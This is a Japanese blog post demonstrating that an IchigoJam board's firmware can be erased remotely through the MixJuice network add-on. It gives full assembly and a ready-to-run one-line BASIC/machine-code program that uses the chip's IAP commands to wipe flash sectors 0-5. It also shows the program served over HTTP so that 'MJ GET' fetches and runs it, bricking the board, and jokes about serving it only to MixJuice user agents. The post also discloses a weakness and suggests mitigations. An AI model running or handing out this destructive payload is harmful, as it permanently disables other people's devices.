【悪用厳禁】MixJuice経由でIchigoJamのシステムを破壊する

# 嘘だッ！

[MixJuice コンテンツ - イチゴジャム レシピ](https://15jamrecipe.jimdofree.com/mixjuice/%E3%82%B3%E3%83%B3%E3%83%86%E3%83%B3%E3%83%84/)

このページに以下の記述があります。

> セキュリティ問題と注意事項
>
> 特定の URL を実行する事によって、IchigoJam・IchigoLatte へ任意のコマンドを実行できる点にご注意下さい。
> <font color="red">特定の URL を実行して IchigoJam のリセット・暴走による停止、
> 本体・EEPROM（RPi の SD カード）にあるプログラムの消去・書き換えを行う仕組みの構築が容易に可能です。</font>
> ただし IchigoJam BASIC などのシステムを破壊する事までは容易でありません。
> IchigoLatte も lash コマンドの範囲で本体・EEPROM のプログラムの消去・書き換えが可能です。
> 上記に挙げているコンテンツも他人がサーバを乗っ取り書き換える可能性も少なからず考えられます。
> この点を留意した上でご利用下さい。 

ここに書かれている「IchigoJam BASIC などのシステムを破壊する事までは容易でありません」は嘘です。
IchigoJamのファームウェアも「本体にあるプログラム」であり、消去が可能です。
本体に書き込まれているIchigoJamのファームウェアを消去することで、IchigoJam BASICのシステムを破壊できます。
実際に試してみると、わずか1行のプログラムでIchigoJamのファームウェアを消去することができました。
これは容易であると考えられます。

:::note alert
悪用厳禁！！
:::

# 免責 (不正指令電磁的記録？)

[刑法 | e-Gov法令検索](https://elaws.e-gov.go.jp/document?lawid=140AC0000000045)

> 第十九章の二　不正指令電磁的記録に関する罪
> （不正指令電磁的記録作成等）
> 第百六十八条の二　正当な理由がないのに、人の電子計算機における実行の用に供する目的で、次に掲げる電磁的記録その他の記録を作成し、又は提供した者は、三年以下の懲役又は五十万円以下の罰金に処する。
> 一　人が電子計算機を使用するに際してその意図に沿うべき動作をさせず、又はその意図に反する動作をさせるべき不正な指令を与える電磁的記録
> 二　前号に掲げるもののほか、同号の不正な指令を記述した電磁的記録その他の記録
> ２　正当な理由がないのに、前項第一号に掲げる電磁的記録を人の電子計算機における実行の用に供した者も、同項と同様とする。
> ３　前項の罪の未遂は、罰する。
> （不正指令電磁的記録取得等）
> 第百六十八条の三　正当な理由がないのに、前条第一項の目的で、同項各号に掲げる電磁的記録その他の記録を取得し、又は保管した者は、二年以下の懲役又は三十万円以下の罰金に処する。

今回の記事においては、「IchigoJamのファームウェアを消去するプログラム」を
「IchigoJamのファームウェアを消去するプログラム」であると明示して紹介しています。
したがって、この「IchigoJamのファームウェアを消去するプログラム」を実行するということは、
「IchigoJamのファームウェアを消去する」という意図があると推定でき、
その結果IchigoJamのファームウェアを消去することは「意図に反する動作」ではないと考えられます。

また、今回はLAN内で実験を行っており、
「IchigoJamのファームウェアを消去するプログラム」をMixJuiceで直接読み込める形式での公開はしていません。
したがって、「人の電子計算機における実行の用に供する目的」ではありません。

したがって、この記事の内容は「不正指令電磁的記録に関する罪」には当たらないと考えます。

※法律の専門家ではありません

:::note warn
掲載したプログラムを実行する場合は、自己責任でお願いします。
:::

# IAP

『LPC111x/LPC11Cxx User manual』(UM10398) より、
IchigoJam (Rではない)で使われているCPUにはIAPというFlashを書き換える仕組みがあることがわかります。
(26.7 IAP commands)

`R0`レジスタにコマンドの番号とパラメータが入った4バイト整数の配列へのポインタを、
`R1`に実行結果を格納する4バイト整数の配列へのポインタをセットし、
`# 1FFF 1FF1` を関数として呼び出すことで、IAPのコマンドを実行することができます。

まずは、パーツの識別番号を取得する Read Part Identification number コマンドを試してみます。

配列のポインタをセットします。

```
R0 = @DATA
R1 = R0
```

配列の最初の要素に、コマンド番号をセットします。

```
R2 = 54
[R0 + 0]L = R2
```

IAPのコマンドを実行するためのアドレス`# 1FFF 1FF1` を用意します。

```
R2 = 1
R2 = R2 << 13
R2 -= 1
R3 = R2
R3 -= #E
R2 = R2 << 16
R2 += R3
```

`LR`レジスタのバックアップを取り、IAPのコマンドを実行します。

```
PUSH {LR}
GOSUB R2
```

戻ります。

```
POP {PC}
```

配列の位置を指定します。

```
ORGR #100
@DATA
```

<details><summary>アセンブリコード全体</summary><div>

```
R0 = @DATA
R1 = R0
R2 = 54
[R0 + 0]L = R2
R2 = 1
R2 = R2 << 13
R2 -= 1
R3 = R2
R3 -= #E
R2 = R2 << 16
R2 += R3
PUSH {LR}
GOSUB R2
POP {PC}

ORGR #100
@DATA
```

</div></details>

これをプログラムに組み込み、実行します。

```
10 ' IAP ﾃｽﾄ
20 POKE#700,#3F,#A0,#01,#46
30 POKE#704,#36,#22,#02,#60
40 POKE#708,#01,#22,#52,#03
50 POKE#70C,#01,#3A,#13,#46
60 POKE#710,#0E,#3B,#12,#04
70 POKE#714,#1A,#44,#00,#B5
80 POKE#718,#90,#47,#00,#BD
90 LET[0],0,0,0,0
100 X=USR(#700,0)
110 ?HEX$([1],4),HEX$([0],4)
120 ?HEX$([3],4),HEX$([2],4)
```

すると、

```
0000 0000
1A40 902B
```

と出力されました。
コマンドが成功し、識別番号が `0x1A40 902B` であることがわかります。

# IAPでIchigoJamのファームウェアを消去する

:::note alert
悪用厳禁！！
:::

以下の手順により、IAPを用いてIchigoJamのファームウェアを消去することができます。

1. Prepare sector(s) for write operation コマンドを実行する
2. Erase Sector(s) コマンドを実行する

たったの2ステップ。容易ですね。

今回は、ユーザプログラムが格納されるらしいセクタ6と7 (0x6000～0x7fff) の消去は避け、
セクタ0～5を消去します。

```
REM create the address R4 = #1FFF1FF1
PUSH {R4,LR}
R4 = 1
R4 = R4 << 13
R4 -= 1
R3 = R4
R3 -= #E
R4 = R4 << 16
R4 += R3

REM prepare sectors
R0 = @DATA
R1 = R0
R2 = 50
[R0 + 0]L = R2
R2 = 0
[R0 + 1]L = R2
R2 = 5
[R0 + 2]L = R2
GOSUB R4

REM erase sectors
R0 = @DATA
R1 = R0
R2 = 52
[R0 + 0]L = R2
REM reuse start & end sector no.
REM assume 48000kHz = 15 * 25 * 128
R2 = 15
R3 = 25
R2 *= R3
R2 = R2 << 7
[R0 + 3]L = R2
GOSUB R4

REM return
POP {R4,PC}

ORGR #40
@DATA
```

これをアセンブルし、マシン語を実行するBASICのコマンドを加えると、187バイトになって1行に収まりました。
以下が「IchigoJamのファームウェアを消去するプログラム」です。

:::note warn
このプログラムを実行すると、IchigoJamのファームウェアが消去されます！
大事なIchigoJam (互換機を含む) では実行しないでください！
大事でなくても、ファームウェアが消去されると困るIchigoJam (互換機を含む) では実行しないでください！
:::

:::note alert
悪用厳禁！！
:::

```
POKE#700,16,181,1,36,100,3,1,60,35,70,14,59,36,4,28,68,11,160,1,70,50,34,2,96,0,34,66,96,5,34,130,96,160,71,7,160,1,70,52,34,2,96,15,34,25,35,90,67,210,1,194,96,160,71,16,189:?USR(#700,0)
```

# 実際にIchigoJamのシステムを破壊してみる

今回は、[昨日の記事](https://qiita.com/mikecat_mixc/items/1b502e976a30db4ad32e)の方法でファームウェアを書き込んだIchigoJam互換機で実験を行いました。

IchigoJam互換機とMixJuiceを接続します。
[一昨日の記事](https://qiita.com/mikecat_mixc/items/ac920de2f9fb5aa065f6)の通り、この互換機のシリアル通信の端子側のピンソケットは使えないため、
基板のスルーホールとピンソケットを接続できるケーブルを用いて接続を行いました。

![IchigoJam互換機とMixJuiceの接続](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/8d869398-0b32-e919-4a0a-af284d9d74eb.jpeg)

先ほどの「IchigoJamのファームウェアを消去するプログラム」を`BOMB.TXT`という名前で保存し、
以下の`php`コマンドを用いてHTTPでLAN内からアクセスできる状態にしました。

```
php -S 0.0.0.0:80
```

そして、MixJuiceとIchigoJam互換機の電源を入れ、
IchigoJam互換機からMixJuiceに`MJ GET`コマンドを送信しました。

すると、「IchigoJamのファームウェアを消去するプログラム」がMixJuiceからIchigoJam互換機に流し込まれ、
ichigoJam互換機からの映像が途切れました。

単にマシン語が暴走しただけなら電源を切って入れ直せば復活するでしょうが、
電源を切って入れ直しても復活しません。
ファームウェアを消去してIchigoJamのシステムを破壊することに成功しました。

:::note alert
悪用厳禁！！
:::

<iframe width="560" height="315" src="https://www.youtube.com/embed/o5YZqlGCe7o" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

# おわりに

MixJuiceから「IchigoJamのファームウェアを消去するプログラム」をHTTPで取得してIchigoJam互換機に流し込み、
IchigoJam互換機に書き込んだファームウェアを消去することに成功しました。

:::note alert
悪用厳禁！！
:::

MixJuiceで直接プログラムを読み込むと意図せずプログラムを実行してしまう可能性があるため、
サーバから送られる内容を(curlなど)事前にIchigoJamに流さない形で取得して確認する、
自分で用意したものなど信頼できるサーバからのみ読み込むなどの対策をするとよいでしょう。

~~User-Agentを見てMixJuiceからのアクセスっぽい時にだけ破壊プログラムを…~~悪用厳禁！！

IchigoJamはjig.jpの登録商標です。

# おまけ

[ネットワークボード MixJuice - イチゴジャム レシピ](https://15jamrecipe.jimdofree.com/mixjuice/)

の「Q&A」をクリックするとMixJuiceではなくPanCakeのQ&Aが開く。なぜ。